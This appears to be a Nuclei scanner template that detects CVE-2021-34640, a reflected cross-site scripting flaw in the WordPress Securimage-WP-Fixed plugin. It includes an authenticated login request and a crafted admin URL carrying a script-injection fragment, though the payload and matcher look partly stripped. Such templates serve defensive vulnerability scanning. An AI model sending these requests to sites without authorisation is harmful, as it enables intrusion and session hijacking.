id: CVE-2021-34640 info: name: WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting author: dhiyaneshDK severity: medium description: WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts. reference: - https://wpscan.com/vulnerability/22017067-8675-4884-b976-d7f5a71279d2 - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640 - https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628 - https://nvd.nist.gov/vuln/detail/CVE-2021-34640 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-34640 cwe-id: CWE-79 tags: wpscan,wordpress,cve,cve2021,wp-plugin,authenticated requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET //wp-admin/options-general.php/">/script%3E?page=securimage-wp-options%2F HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - '' - type: status status: - 200 - type: word part: header words: - "text/html" # Enhanced by mp on 2022/08/28